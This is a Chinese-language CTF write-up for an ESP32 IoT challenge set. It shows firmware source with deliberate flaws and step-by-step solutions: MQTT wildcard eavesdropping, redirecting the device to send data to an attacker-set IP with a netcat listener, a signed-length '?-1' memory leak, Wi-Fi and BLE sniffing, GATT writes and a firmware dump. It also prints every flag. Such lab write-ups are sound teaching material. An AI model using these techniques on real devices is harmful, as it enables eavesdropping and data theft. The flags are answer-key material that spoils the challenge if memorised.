ESP32 IoT CTF 清华校赛版

简介

一个以ESP32为底座的新手向CTF IoT赛题,包括基本的硬件操作,串口调试,网络通信,WIFI,蓝牙,MQTT,固件提取等,总共13个flag。

环境搭建

硬件:esp32、杜邦线、usb->ttl、支持嗅探的无线网卡

软件

https://github.com/xuanxuanblingbling/esp32ctf_thu

ESP32 的 windows 烧录环境,直接链接下载离线安装包(一定要是离线安装包,否则安装很慢):

https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/get-started/windows-setup.html

选择赛题要求的对应版本就是,相近的也可以,赛题环境要求是4.3.1 ,我们选择提供下载的最低的4.4.8就行,太高了很容易出现不兼容的情况![image-20240715160313280](/picture/ESP32 IoT CTF 清华校赛版/image-20240715160313280.png)

完事之后出来了两个快捷方式

![img](/picture/ESP32 IoT CTF 清华校赛版/c7d39a45c4c42e590419931babefe0ac.png)

这俩用哪个都行,打开之后切换目录到源码的文件夹,cd esp32ctf_thu/thuctf/

输入命令:idf.py menuconfig,稍等片刻会打开一个新界面,设置 Serial flasher config 的 Flash size 为 4MB

![img](/picture/ESP32 IoT CTF 清华校赛版/0373f9d7f22218d4a79117e67ec95220.png)

设置 Partition Table 的 Partition Table 为 Custom partition table CSV

![img](/picture/ESP32 IoT CTF 清华校赛版/0429abad4f48f6998653d5c9a5461cf8.png)

选完之后 Q 保存退出,然后 idf.py build 编译代码

![img](/picture/ESP32 IoT CTF 清华校赛版/da553d27484aa3b9293bd53f108746dc.png)

等它编译一阵,完事之后就可以使用 idf.py flash 烧录了,出现 Connecting….. 的时候要摁住板子上的 BOOT 键

![img](/picture/ESP32 IoT CTF 清华校赛版/bcf5c3b631c87761d80f959e7f2ad5dc.png)

烧写完成之就可以关掉了,随便找个串口工具,选择波特率 115200 就能看到 log 了

![image-20240715160213945](/picture/ESP32 IoT CTF 清华校赛版/image-20240715160213945.png)

题目其实是在下面这个目录,烧录好之后拿着这个文件夹里的内容做题,里面有个 tar 包,是删掉了真实 flag 的源码,有些关卡需要分析源码才知道咋做,源码按照不同的题目方向分开了,很友好!

1
https://github.com/xuanxuanblingbling/esp32ctf_thu/tree/main/attachment

关卡介绍

有以下四个方向的题目,方向间题目并行,方向内题目采取闯关模式串行。但由于配置冲突,采用跳帽来切换题目方向:

  • 跳帽连接GND与23号引脚:硬件、网络、蓝牙
  • 拔掉GND与23号引脚跳帽:MQTT

硬件:

task1: 将GPIO18抬高,持续3s即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void hardware_task1(){
int hit = 0;
while(1) {
printf("[+] hardware task I : hit %d\n",hit);
if(gpio_get_level(GPIO_INPUT_IO_0)){
hit ++ ;
}else{
hit = 0;
}
if(hit>3){
printf("[+] hardware task I : %s\n",hardware_flag_1);
break;
}
vTaskDelay(1000 / portTICK_RATE_MS);
}
}

需要抬高GPIO18,于是连接一个能持续输出电流的到GPIO18即可,直接连接电路板的P18到v5或者v3.3即可

1
2
3
4
5
[+] hardware task I : hit 0
[+] hardware task I : hit 1
[+] hardware task I : hit 2
[+] hardware task I : hit 3
[+] hardware task I : THUCTF{Ev3ryth1ng_st4rt_fr0m_GPIO_!!!}

task2: 在GPIO18处构造出1w个上升沿

1
2
3
4
5
6
7
8
9
10
11
void hardware_task2(){
trigger = 0;
while(1){
printf("[+] hardware task II : trigger %d\n",trigger);
if(trigger > 10000){
printf("[+] hardware task II : %s\n",hardware_flag_2);
break;
}
vTaskDelay(1000 / portTICK_RATE_MS);
}
}

在GPIO18处构造出1w个上升沿,也就是需要不断的信号传递,于是我们可以通过TX会不断发送信号来实现,连接P18和Tx

1
2
3
4
5
6
7
....
[+] hardware task II : trigger 9267
[+] hardware task II : trigger 9485
....
[+] hardware task II : trigger 9970
[+] hardware task II : trigger 10083
[+] hardware task II : THUCTF{AuT0++_is_th3_r1ght_w4y_hhhhhh}

task3: 在另一个串口处寻找第三个flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define ECHO_TEST_TXD  (GPIO_NUM_4)
#define ECHO_TEST_RXD (GPIO_NUM_5)
#define ECHO_TEST_RTS (UART_PIN_NO_CHANGE)
#define ECHO_TEST_CTS (UART_PIN_NO_CHANGE)
void hardware_uart_setup(){
uart_config_t uart_config = {
.baud_rate = 115200,
.data_bits = UART_DATA_8_BITS,
.parity = UART_PARITY_DISABLE,
.stop_bits = UART_STOP_BITS_1,
.flow_ctrl = UART_HW_FLOWCTRL_DISABLE,
.source_clk = UART_SCLK_APB,
};
uart_driver_install(UART_NUM_1, 1024 * 2, 0, 0, NULL, 0);
uart_param_config(UART_NUM_1, &uart_config);
uart_set_pin(UART_NUM_1, ECHO_TEST_TXD, ECHO_TEST_RXD, ECHO_TEST_RTS, ECHO_TEST_CTS);
}
void hardware_task3(){
printf("[+] hardware task III : find the third flag in another UART\n");
while (1) {
uart_write_bytes(UART_NUM_1, hardware_flag_3, strlen(hardware_flag_3));
vTaskDelay(1000 / portTICK_RATE_MS);
}
}

代码里可以看出,给UART写了flag,于是我们读取UART即可,但是这里的UART用的端口为TX:4,RX:5,于是我们连接FT232板子的RX和ESP32板子的P4即可。

1
THUCTF{UART_15_v3ry_imp0r7ant_1n_i0T}

网络:

task1: 连接板子目标端口,尝试获得flag

1
2
3
4
5
6
7
8
9
void network_init(){
char ssid[0x10] = {0};
char pass[0x10] = {0};
get_random(ssid,6);
get_random(pass,8);
printf("[+] network task I: I will connect a wifi -> ssid: %s , password %s \n",ssid,pass);
connect_wifi(ssid,pass);
}

发现板子在连接某个ssid的设备,密码也给了出来,我们只需要把手机的ssid和password改成对应的即可

1
[+] network task I: I will connect a wifi -> ssid: avqkqq , password pmaavapb 

于是设置电脑的ssid为avqkqq,密码为pmaavapb

1
2
3
4
5
6
I (366707) esp_netif_handlers: sta ip: 192.168.137.109, mask: 255.255.255.0, gw: 192.168.137.1
I (366707) wifi connect: got ip:192.168.137.109
I (366707) wifi connect: connected to ap SSID:uptava
I (366717) network: Socket created
I (366717) network: Socket bound, port 3333
I (366727) network: Socket listening

成功连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

static void network_tcp()
{

char addr_str[128];
struct sockaddr_in dest_addr;

dest_addr.sin_addr.s_addr = htonl(INADDR_ANY);
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(3333);

int listen_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

ESP_LOGI(TAG, "Socket created");

bind(listen_sock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
ESP_LOGI(TAG, "Socket bound, port %d", 3333);

listen(listen_sock, 1);
while (1) {

ESP_LOGI(TAG, "Socket listening");
struct sockaddr_storage source_addr;
socklen_t addr_len = sizeof(source_addr);
int sock = accept(listen_sock, (struct sockaddr *)&source_addr, &addr_len);
inet_ntoa_r(((struct sockaddr_in *)&source_addr)->sin_addr, addr_str, sizeof(addr_str) - 1);
ESP_LOGI(TAG, "Socket accepted ip address: %s", addr_str);
char buffer[100];
while(recv(sock,buffer,0x10,0)){
if(strstr(buffer,"getflag")){
send(sock, network_flag_1, strlen(network_flag_1), 0);
break;
}else{
send(sock, "error\n", strlen("error\n"), 0);
}
vTaskDelay(1000 / portTICK_RATE_MS);
}
open_next_tasks = 1;
shutdown(sock, 0);
close(sock);
}
}

然后分析代码,发现开启了3333端口,接收到getlflag就打印flag

if(strstr(buffer,"getflag")){
1
2
3
4
while(recv(sock,buffer,0x10,0)){
if(strstr(buffer,"getflag")){
send(sock, network_flag_1, strlen(network_flag_1), 0);
break;

于是直接nc 192.168.137.109 3333,发送getflag即可

1
2
3
$ nc 192.168.137.109 3333
getflag
THUCTF{M4k3_A_w1rele55_h0t5p0ts}

task2: 你知道他发给百度的flag么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

void network_http()
{
char fmt[] = "GET / HTTP/1.0\r\n"
"Host: www.baidu.com:80\r\n"
"User-Agent: esp-idf/1.0 esp32\r\n"
"flag: %s\r\n"
"\r\n";

char request[200];
sprintf(request,fmt,network_flag_2);

const struct addrinfo hints = {
.ai_family = AF_INET,
.ai_socktype = SOCK_STREAM,
};
struct addrinfo *res;
struct in_addr *addr;
int s;

while(1) {
if(open_next_tasks){
printf("[+] network task II : send the second flag to baidu\n");
getaddrinfo("www.baidu.com", "80", &hints, &res);
addr = &((struct sockaddr_in *)res->ai_addr)->sin_addr;
ESP_LOGI("network", "DNS lookup succeeded. IP=%s", inet_ntoa(*addr));
s = socket(res->ai_family, res->ai_socktype, 0);
connect(s, res->ai_addr, res->ai_addrlen);
freeaddrinfo(res);
write(s, request, strlen(request));
close(s);
}
vTaskDelay(10000 / portTICK_PERIOD_MS);
}
}

改代码会构造数据包发送给百度,其中包含了flag,于是对热点抓包即可

![image-20240724174502143](/picture/ESP32 IoT CTF 清华校赛版/image-20240724174502143.png)

task3: flag在空中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static void network_wifi()
{
static const char ds2ds_pdu[] = {
0x48, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xE8, 0x65, 0xD4, 0xCB, 0x74, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x60, 0x94, 0xE8, 0x65, 0xD4, 0xCB, 0x74, 0x1C, 0x26, 0xB9,
0x0D, 0x02, 0x7D, 0x13, 0x00, 0x00, 0x01, 0xE8, 0x65, 0xD4, 0xCB, 0x74,
0x1C, 0x00, 0x00, 0x26, 0xB9, 0x00, 0x00, 0x00, 0x00,
};

char pdu[200]={0};
memcpy(pdu,ds2ds_pdu,sizeof(ds2ds_pdu));
memcpy(pdu+sizeof(ds2ds_pdu),network_flag_3,sizeof(network_flag_3));

while(1) {
if(open_next_tasks){
printf("[+] network task III : send raw 802.11 package contains the third flag\n");
esp_wifi_80211_tx(ESP_IF_WIFI_STA, pdu, sizeof(ds2ds_pdu)+sizeof(network_flag_3), true);
}
vTaskDelay(5000 / portTICK_PERIOD_MS);
}
}

network_wifi 任务发送原始的 802.11 数据包,数据包中包含 network_flag_3

于是我们通过kali的airmon-ng 工具去抓包,抓取空中的数据包即可,需要设置为监听模式

1
2
airmon-ng start wlan0
airodump-ng wlan0mon

然后使用wireshark抓包,选择Wlan0mon网卡抓包

![image-20240725100108865](/picture/ESP32 IoT CTF 清华校赛版/image-20240725100108865.png)

这里我抓到了,但是没有flag不知道为什么,这里贴上其他师傅成功的案例

![image-20240725100157119](/picture/ESP32 IoT CTF 清华校赛版/image-20240725100157119.png)

蓝牙:

task1: 修改蓝牙名称并设置可被发现即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void bt_app_gap_start_up(void)
{

get_random(target_name,8);
printf("[+] bluetooth task I : Please change your bluetooth device name to %s\n",target_name);

esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT();
esp_bt_controller_init(&bt_cfg);

esp_bt_controller_enable(ESP_BT_MODE_BTDM);

esp_bluedroid_init();
esp_bluedroid_enable();

esp_bt_dev_set_device_name("THUCTF");
esp_bt_gap_set_scan_mode(ESP_BT_CONNECTABLE, ESP_BT_GENERAL_DISCOVERABLE);
esp_bt_gap_register_callback(bt_app_gap_cb);
esp_bt_gap_start_discovery(ESP_BT_INQ_MODE_GENERAL_INQUIRY, 0x10, 0);
}
void bt_app_gap_cb(esp_bt_gap_cb_event_t event, esp_bt_gap_cb_param_t *param)
{
switch (event) {
case ESP_BT_GAP_DISC_RES_EVT:
update_device_info(param);
break;
default:
break;
}
return;
}
static void update_device_info(esp_bt_gap_cb_param_t *param)
{
char bda_str[18];
unsigned char device_name[256];
uint8_t device_name_len;
esp_bt_gap_dev_prop_t *p;

ESP_LOGI(GAP_TAG, "[+] bluetooth task I : Device found: %s", bda2str(param->disc_res.bda, bda_str, 18));
for (int i = 0; i < param->disc_res.num_prop; i++) {
p = param->disc_res.prop + i;
switch (p->type) {
case ESP_BT_GAP_DEV_PROP_EIR: {
get_name_from_eir(p->val, device_name, &device_name_len);
check_name(target_name,(char *)device_name);
ESP_LOGI(GAP_TAG, "[+] bluetooth task I : Found a target device, address %s, name %s", bda_str, device_name);
break;
}
default:
break;
}
}
}
void check_name(char * a,char * b){
if(!strcmp(a,b)){
printf("bluetooth task I : %s\n",bt_flag_1);
esp_bt_gap_cancel_discovery();
scan = 0;
next_task();
}
}

分析一下代码在bt_app_gap_start_up中定义了蓝牙为双模块,并给定了一个随机的蓝牙名称,然后蓝牙设备名称为THUCTF,遇到GAP事件的时候调用bt_app_gap_cb函数,bt_app_gap_cb函数定义了在遇到连接的时候调用update_device_info函数。然后update_device_info提取并打印设备地址,从设备的扩展查询响应(EIR)数据中提取设备名称。检查设备名称是否与目标名称匹配。如果匹配,则记录设备地址和名称。

1
[+] bluetooth task I : Please change your bluetooth device name to ijrtgfok

日志如上,于是我们只需要用设备名为ijrtgfok的蓝牙设备去连接即可

1
2
3
4
I (843854) GAP: [+] bluetooth task I : Device found: f8:ab:82:a1:bc:96
bluetooth task I : THUCTF{b1u3t00th_n4me_a1s0_c4n_b3_An_aTT4ck_surfAce}
[+] bluetooth task II : BLE device name is fgwhg
[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device fgwhg

task2: flag在空中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void next_task(){
unsigned char fmt[]= {0x06,0x09,0x68,0x65,0x6C,0x6C,0x6F,
sizeof(bt_flag_2),0xFD};

char client_name[10]={};
get_random(client_name,5);
printf("[+] bluetooth task II : BLE device name is %s\n",client_name);
printf("[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device %s\n",client_name);
unsigned char data[100];
memcpy(data,fmt,sizeof(fmt));
memcpy(data+2,client_name,5);
memcpy(data+sizeof(fmt),bt_flag_2,sizeof(bt_flag_2));

esp_ble_gap_config_adv_data_raw(data,sizeof(fmt)+sizeof(bt_flag_2));
esp_ble_gap_start_advertising(&ble_adv_params);
esp_ble_gatts_register_callback(gatts_event_handler);
esp_ble_gatts_app_register(PROFILE_A_APP_ID);
esp_ble_gatt_set_local_mtu(500);
}

可以看出来,将flag进行了广播,于是我们去抓包接受广播数据即可,查看一下名称

1
2
[+] bluetooth task II : BLE device name is fgwhg
[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device fgwhg

用hcitool检查一下,确实存在

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo hcitool lescan
LE Scan ...
78:EE:4C:01:D2:FE fgwhg
78:EE:4C:01:D2:FE (unknown)
78:EE:4C:01:D2:FE fgwhg
78:EE:4C:01:D2:FE (unknown)

然后使用nrf sniffer去嗅探即可

![image-20240725103318195](/picture/ESP32 IoT CTF 清华校赛版/image-20240725103318195.png)

task3: 分析GATT业务并获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
   if(open_task3){
rsp.attr_value.len = sizeof(bt_flag_3);
memcpy(rsp.attr_value.value,bt_flag_3,sizeof(bt_flag_3));
}else{
rsp.attr_value.len = 4;
rsp.attr_value.value[0] = 0xde;
rsp.attr_value.value[1] = 0xed;
rsp.attr_value.value[2] = 0xbe;
rsp.attr_value.value[3] = 0xef;
}
esp_ble_gatts_send_response(gatts_if, param->read.conn_id, param->read.trans_id,
ESP_GATT_OK, &rsp);

case ESP_GATTS_WRITE_EVT: {
ESP_LOGI(GATTS_TAG, "GATT_WRITE_EVT, conn_id %d, trans_id %d, handle %d", param->write.conn_id, param->write.trans_id, param->write.handle);
if (!param->write.is_prep){
ESP_LOGI(GATTS_TAG, "GATT_WRITE_EVT, value len %d, value :", param->write.len);
esp_log_buffer_hex(GATTS_TAG, param->write.value, param->write.len);
printf("[+] bluetooth task III : %s\n",param->write.value);
if(!strncmp(bt_flag_2,(char *)param->write.value,param->write.len)){
printf("[+] bluetooth task III : you can read the third flag this time\n");
open_task3 = 1;
}
}
esp_ble_gatts_send_response(gatts_if, param->write.conn_id, param->write.trans_id, ESP_GATT_OK, NULL);
break;
}

分析代码,当接收到写入事件时,记录连接 ID、事务 ID 和句柄。如果不是准备写入,记录写入数据长度和内容。如果写入数据与 bt_flag_2 匹配,则设置 open_task3 为真。发送响应给客户端,确认写入操作成功。然后成功开启task3后,直接读取就能读到flag,否则就是0xdeedbeef

于是直接使用gatttool对服务进行写入读取即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~/Desktop]
└─$ echo -n "THUCTF{AdVD47a}" | xxd -ps

5448554354467b416456443437617d


┌──(kali㉿kali)-[~/Desktop]
└─$ gatttool -b 78:EE:4C:01:D2:FE -I
[78:EE:4C:01:D2:FE][LE]> connect
Attempting to connect to 78:EE:4C:01:D2:FE
Connection successful
[78:EE:4C:01:D2:FE][LE]> primary
attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0014, end grp handle: 0x001c uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-00805f9b34fb
[78:EE:4C:01:D2:FE][LE]> characteristics 28 ffff
handle: 0x0029, char properties: 0x1a, char value handle: 0x002a, uuid: 0000ff01-0000-1000-8000-00805f9b34fb
[78:EE:4C:01:D2:FE][LE]> char-read-hnd 2a
Characteristic value/descriptor: de ed be ef
[78:EE:4C:01:D2:FE][LE]> char-write-req 2a 5448554354467b416456443437617d
Characteristic value was written successfully
[78:EE:4C:01:D2:FE][LE]> char-read-hnd 2a
Characteristic value/descriptor: 54 48 55 43 54 46 7b 57 72 49 74 45 5f 34 5f 67 41 37 54 7d 00



┌──(kali㉿kali)-[~/Desktop]
└─$ echo -n "54 48 55 43 54 46 7b 57 72 49 74 45 5f 34 5f 67 41 37 54 7d 00 " | xxd -p -r
THUCTF{WrItE_4_gA7T}

MQTT:

这里有些问题,你需要在自己的服务器上拉起来一个 Docker,然后别忘了把服务器的防火墙打开 1883 端口,再运行命令把 Docker 启动起来

1
2
docker build -t esp32ctf .
docker run -d -p 1883:1883 esp32ctf

修改 main.c 中的源码,把原本的域名改为你的服务器 IP,重新编译好烧到 esp32 中,例如:

1
2
3
4

mqtt_app_start("mqtt://mqtt.esp32ctf.xyz");
改为
mqtt_app_start("mqtt://192.168.50.132");

然后需要开一个热点名称:THUCTFIOT;密码:mqttwifi@123。设备连接上之后 esp32 会连接我们搭建的 MQTT broker

task1: 你知道MQTT的上帝是谁么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

static esp_err_t mqtt_event_handler_cb(esp_mqtt_event_handle_t event)
{
esp_mqtt_client_handle_t client = event->client;
int msg_id;
switch (event->event_id) {
case MQTT_EVENT_CONNECTED:
ESP_LOGI("mqtt", "MQTT_EVENT_CONNECTED");
msg_id = esp_mqtt_client_publish(client, "/topic/flag1", mqtt_flag_1, 0, 1, 0);
printf("[+] MQTT task I: publish successful, msg_id=%d\n", msg_id);

msg_id = esp_mqtt_client_subscribe(client, topic_2, 0);
printf("[+] MQTT task II: subscribe successful, msg_id=%d\n", msg_id);

break;
case MQTT_EVENT_DISCONNECTED:
ESP_LOGI("mqtt", "MQTT_EVENT_DISCONNECTED");
break;
case MQTT_EVENT_SUBSCRIBED:
ESP_LOGI("mqtt", "MQTT_EVENT_SUBSCRIBED, msg_id=%d", event->msg_id);
break;
case MQTT_EVENT_UNSUBSCRIBED:
ESP_LOGI("mqtt", "MQTT_EVENT_UNSUBSCRIBED, msg_id=%d", event->msg_id);
break;
case MQTT_EVENT_PUBLISHED:
ESP_LOGI("mqtt", "MQTT_EVENT_PUBLISHED, msg_id=%d", event->msg_id);
break;
case MQTT_EVENT_DATA:
ESP_LOGI("mqtt", "MQTT_EVENT_DATA");
printf("[+] MQTT task II: topic -> %.*s\r\n", event->topic_len, event->topic);
printf("[+] MQTT task II: data -> %.*s\r\n", event->data_len, event->data);
mqtt_data_hander(event->data_len,event->data);
break;
case MQTT_EVENT_ERROR:
ESP_LOGI("mqtt", "MQTT_EVENT_ERROR");
break;
default:
ESP_LOGI("mqtt", "Other event id:%d", event->event_id);
break;
}
return ESP_OK;
}

解释一下该代码

  1. 处理 MQTT 连接事件
    • 当客户端连接到 MQTT 服务器时,发布一个消息到主题 /topic/flag1 并订阅一个主题 topic_2。这里发送的消息就是flag
  2. 处理 MQTT 断开连接事件
    • 当客户端断开与 MQTT 服务器的连接时,记录日志。
  3. 处理 MQTT 订阅事件
    • 当客户端成功订阅一个主题时,记录日志。
  4. 处理 MQTT 取消订阅事件
    • 当客户端成功取消订阅一个主题时,记录日志。
  5. 处理 MQTT 消息发布事件
    • 当客户端成功发布一个消息时,记录日志。
  6. 处理 MQTT 数据事件
    • 当客户端接收到一个消息时,打印消息的主题和数据,并调用 mqtt_data_hander 函数处理接收到的数据。
  7. 处理 MQTT 错误事件
    • 当发生 MQTT 错误时,记录日志。

于是使用MQTTX订阅 #,MQTT 中有通配符 # 表示所有的主题,只需要订阅 # 就会收到所有的主题的消息。

![image-20240725114358080](/picture/ESP32 IoT CTF 清华校赛版/image-20240725114358080.png)

task2: 你能欺骗订阅者么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
    while(1){
printf("[+] MQTT task II: I send second flag to baidu\n");
esp_mqtt_client_publish(client, topic_2, "www.baidu.com?46", 0, 1, 0);
vTaskDelay(10000 / portTICK_RATE_MS);
}

case MQTT_EVENT_DATA:
ESP_LOGI("mqtt", "MQTT_EVENT_DATA");
printf("[+] MQTT task II: topic -> %.*s\r\n", event->topic_len, event->topic);
printf("[+] MQTT task II: data -> %.*s\r\n", event->data_len, event->data);
mqtt_data_hander(event->data_len,event->data);


void mqtt_data_hander(int length,char * data){

char l[10];
char url[500] = {0};
char out[500] = {0};
char httpdata[500]={0};
char flagdata[500]={0};
char tag3[] = " [+] MQTT task III: ";
sprintf(flagdata,"%s%s%s",mqtt_flag_2,tag3,mqtt_flag_3);

int a = 46;

char * p = strnstr(data,"?",length);
if(p){
int data_length = p - data;
snprintf(l,length - data_length,"%s",p+1);
a = atoi(l);
length = data_length;
}

sprintf(url,"%.*s",length, data);

char fmt[] = "GET / HTTP/1.0\r\n"
"User-Agent: esp-idf/1.0 esp32\r\n"
"flag: %s\r\n"
"\r\n";

if( a < (int)(sizeof(mqtt_flag_2) + sizeof(tag3) - 1 ) ){
memcpy(out,flagdata,a & 0xff);
sprintf(httpdata,fmt,out);
http_get_task(url,httpdata);
}
}
1
2
3
4
5
[+] MQTT task II: topic ->  /topic/flag2/bbxclx
[+] MQTT task II: data -> www.baidu.com?46
I (2325184) network: DNS lookup succeeded. IP=183.2.172.185
I (2325184) network: ... allocated socket
I (2325234) network: ... connected

分析一下再结合一下UART的输出,可以知道该功能是接受到一个来自/topic/flag2/bbxclx的数据的时候,往一个IP发送flag2,于是我们往/topic/flag2/bbxclx发送IP即可,并且发送长度默认是46,所以直接IP就行,IP?50之类的数据也可以。

![image-20240725122629690](/picture/ESP32 IoT CTF 清华校赛版/image-20240725122629690.png)

1
2
3
4
5
6
7
8
9
10
[+] MQTT task II: topic ->  /topic/flag2/bbxclx
[+] MQTT task II: data -> 192.168.137.1?46
I (2566134) network: DNS lookup succeeded. IP=192.168.137.1
I (2566144) network: ... allocated socket
I (2566154) network: ... connected

C:\Users\coke>nc -l -p 80
GET / HTTP/1.0
User-Agent: esp-idf/1.0 esp32
flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel}

成功获得了flag

task3: 这是个内存破坏的前戏

1
2
3
4
5
if( a < (int)(sizeof(mqtt_flag_2) + sizeof(tag3) - 1 ) ){
memcpy(out,flagdata,a & 0xff);
sprintf(httpdata,fmt,out);
http_get_task(url,httpdata);
}

其实前面在发送flag2的时候flag3也一起包裹进去的,于是只需要我们将长度给变得够大即可,但是还得小于flag2的长度加上tag3的长度,但是发现a是一个有符号的数,于是我们可以用整数溢出,发送IP?-1即可

1
2
3
4
5
6
7
8
9
10
[+] MQTT task II: topic ->  /topic/flag2/bbxclx
[+] MQTT task II: data -> 192.168.137.1?-1
I (3041804) network: DNS lookup succeeded. IP=192.168.137.1
I (3041804) network: ... allocated socket
I (3041814) network: ... connected

C:\Users\coke>nc -l -p 80
GET / HTTP/1.0
User-Agent: esp-idf/1.0 esp32
flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel} [+] MQTT task III: THUCTF{0ver_the_Air_y0u_c4n_a77ack_t0_1ntranet_d3v1ce}

彩蛋

1
xTaskCreate(hardware, "flag{you_will_never_kown_this_flag}", 2048, NULL, 10, NULL);

显然此任务名没有与任何题目接口有交互,所以只能采用固件读取的方式获得此flag,故使用esptools.py dump固件:

1
2
➜   python ~/Desktop/esp/esp-idf2/components/esptool_py/esptool/esptool.py \
--baud 115200 --port COM5 -14420 read_flash 0x10000 0x310000 dump.bin

windows上的IDF离线环境安装后,自动设置的环境变量中,也是可以直接用esptools.py的:

1
> esptool.py --baud 115200  read_flash 0x10000 0x310000 dump.bin

然后strings即可找出flag:

1
2
$ strings ./dump.bin  | grep "THUCTF{"
THUCTF{DuMp_the_b1n_by_espt00l.py_Ju5t_1n_0ne_Lin3}